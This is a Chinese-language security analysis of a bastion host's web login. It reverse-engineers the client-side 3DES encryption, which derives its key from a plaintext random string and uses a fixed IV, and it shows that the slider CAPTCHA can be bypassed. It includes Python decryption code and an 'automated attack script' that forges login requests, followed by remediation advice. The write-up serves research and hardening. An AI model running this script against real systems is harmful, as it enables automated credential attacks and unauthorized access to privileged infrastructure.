某堡垒机js逆向
字数 1501
更新时间 2026-03-07 10:15:19
某堡垒机登录加密与滑块验证绕过技术分析
1. 概述
本文档详细分析了某堡垒机登录过程中的JavaScript加密流程与滑块验证机制,并提供了完整的逆向思路与自动化脚本实现方法。登录过程主要涉及两个关键请求:/iam-web/authc/mode/trunk(获取验证参数)和/iam-web/authc/trunk(提交登录数据),其中提交的数据使用了3DES加密。
2. 核心流程分析
2.1 请求端点
- 初始化请求:
GET /iam-web/authc/mode/trunk - 登录请求:
POST /iam-web/authc/trunk
2.2 滑块验证机制
- 访问登录页面时,前端会调用
login_loginIni()函数,向/authc/mode/trunk发送GET请求。 - 服务器返回的JSON数据中包含关键字段
data.meta.secRandomRegion,该值决定了滑块验证需要停止的位置。 - 前端通过
$('#drag').drag({"stop": stopNum});将滑块初始位置设置为secRandomRegion的值,完成滑块验证的初始化。
2.3 登录数据加密流程
当用户点击登录时,前端调用login_trunkLogin(pubKey)函数,关键加密逻辑位于serializeSecurityArrayToJson(Lwyne1)中。
3. 加密算法详细解析
3.1 加密函数代码(还原后)
function serializeSecurityArrayToJson(Lwyne1) {
var JYTqrZPaG2 = {};
var pt3 = randomStr(10, 8); // 生成10位随机字符串
var p4 = reqSecurypt(pt3); // 对随机字符串进行密钥处理
var d5 = CryptoJS.enc.Base64.parse(p4); // Base64解码得到3DES密钥
var siKsHDj6 = CryptoJS.enc.Utf8.parse('99999999'); // 固定IV
var EqgMJwU7 = CryptoJS.TripleDES.encrypt(Lwyne1, d5, { // 3DES-CBC加密
iv: siKsHDj6,
mode: CryptoJS.mode.CBC,
padding: CryptoJS.pad.Pkcs7
});
var nYCLDq9 = EqgMJwU7.toString(); // 加密结果转为字符串
JYTqrZPaG2["q"] = nYCLDq9; // 加密后的数据
JYTqrZPaG2["c"] = pt3; // 随机密钥(明文传输)
return $.toJSON(JYTqrZPaG2); // 返回JSON字符串
}
3.2 密钥生成函数
function reqSecurypt(N$vusDs8) {
var Hj9 = N$vusDs8.split(""); // 将字符串拆分成字符数组
// 取第1、3、5和最后一个字符组成新的字符串
var yZQQiAh10 = Hj9[0] + Hj9[2] + Hj9[4] + Hj9[Hj9.length - 1];
var zjXgDu11 = 8; // 循环次数
var CeOuO12 = "";
for (var USp13 = 0; USp13 < zjXgDu11; USp13++) {
CeOuO12 += yZQQiAh10; // 重复拼接字符串8次
}
return CeOuO12; // 返回最终结果
}
密钥生成规则:
- 从10位随机字符串
c中提取第1、3、5、10位字符(索引从0开始) - 将这4个字符组成的字符串重复8次,形成32位字符串
- 对该32位字符串进行Base64解码,得到24字节的3DES密钥
加密参数:
- 算法:3DES(Triple DES)
- 模式:CBC
- 填充:PKCS7
- 初始向量(IV):固定为
99999999(8字节)
3.3 请求数据结构
最终POST请求的body格式为:
{
"q": "加密后的数据(Base64编码)",
"c": "10位随机字符串"
}
4. 解密验证
4.1 Python解密示例
from Crypto.Cipher import DES3
import base64
# 已知数据
q = "gJMTn05013ZBI5e3DJXKQYH/CvtdNr13SPBg8UrOMqW57odRbXXPx81NL1YK1QKw6e7VO7kr8vD0NXuY/C3Iw=="
c = "dO4SmQzdb"
# step1: 根据c生成p4
def req_securypt(pt3):
chars = pt3
key = chars[0] + chars[2] + chars[4] + chars[-1]
return key * 8
p4 = req_securypt(c)
print("p4:", p4) # 输出:ddSdddSdddSdddSdddSdddSdddSdddSd
# step2: Base64 decode得到3DES key
d5 = base64.b64decode(p4 + "===") # 补齐Base64
print("d5 length:", len(d5)) # 输出:24
# step3: 固定IV
iv = b"99999999"
# step4: 3DES-CBC解密
cipher = DES3.new(d5, DES3.MODE_CBC, iv)
ciphertext = base64.b64decode(q)
plaintext = cipher.decrypt(ciphertext)
# step5: 去掉PKCS7填充
pad_len = plaintext[-1]
plaintext = plaintext[:-pad_len]
print("明文:", plaintext.decode('utf-8'))
5. 自动化攻击脚本
5.1 完整攻击流程
import requests
import json
from Crypto.Cipher import DES3
import base64
# 固定c(可从任意请求中获取)
c = "dO4SmQzdb"
# 1. 请求authc/mode/trunk获取secRandomRegion
header = {
"Cookie": "JSESSIONID=B1AB71535B8A157C1B690FB3BE0B4D75; JSESSIONID=70E267CE1122D2A891DCBE9AF6F535E3"
}
resp = requests.get("https://target/iam-web/authc/mode/trunk", headers=header, verify=False)
sec_random_region = resp.json()["meta"]["secRandomRegion"]
# 2. 构造明文数据
data = {
"id": "username",
"simplePasswd": "password",
"secRandomRegion": str(sec_random_region)
}
# 3. 加密函数
def req_securypt(pt3):
chars = pt3
key = chars[0] + chars[2] + chars[4] + chars[-1]
return key * 8
def encrypt_data(plaintext_dict, c_key):
# 生成p4
p4 = req_securypt(c_key)
d5 = base64.b64decode(p4 + "===") # 3DES key
iv = b"99999999"
# PKCS7填充
plaintext = json.dumps(plaintext_dict).encode("utf-8")
pad_len = 8 - len(plaintext) % 8
plaintext += bytes([pad_len] * pad_len)
# 3DES-CBC加密
cipher = DES3.new(d5, DES3.MODE_CBC, iv)
ciphertext = cipher.encrypt(plaintext)
q = base64.b64encode(ciphertext).decode("utf-8")
return {"q": q, "c": c_key}
# 4. 加密数据
body = encrypt_data(data, c)
print("加密后body:", body)
# 5. 发送登录请求
resp2 = requests.post("https://target/iam-web/authc/trunk",
headers=header,
json=body,
verify=False)
print("登录响应:", resp2.text)
5.2 攻击要点
- Cookie保持:整个过程中需要使用相同的Cookie维持会话
- 滑块位置:必须使用从第一个请求获取的
secRandomRegion值 - 密钥固定:参数
c可以是任意10位字符串,但需要前后端一致 - 加密一致性:必须严格按照前端逻辑实现加密算法
6. 安全缺陷总结
- 密钥传输不安全:加密密钥的关键参数
c以明文形式传输 - 密钥生成算法弱:从10位随机字符串中仅取4位重复生成密钥,熵值不足
- 固定IV:使用固定的初始向量
99999999,不符合CBC模式的安全要求 - 算法可预测:整个加密流程完全暴露在前端,无混淆或保护措施
- 滑块验证可绕过:滑块位置由服务器返回,可通过脚本直接获取并提交
7. 修复建议
- 使用HTTPS:确保所有通信通道加密
- 增强密钥管理:使用非对称加密或密钥协商协议
- 动态IV:每次加密使用随机生成的IV
- 代码混淆:对前端JavaScript进行混淆处理
- 增加服务端验证:对异常请求频率和模式进行检测
- 强化滑块验证:增加行为分析,防止脚本自动化操作
8. 注意事项
- 本分析仅用于安全研究和授权测试目的
- 在实际测试前需获得系统所有者的书面授权
- 攻击脚本中的目标地址和Cookie需替换为实际值
- 不同版本的堡垒机可能存在差异,需根据实际情况调整
通过本文档的详细分析,可以全面理解该堡垒机登录机制的加密原理和实现方式,为安全评估和加固提供技术依据。
相似文章
相似文章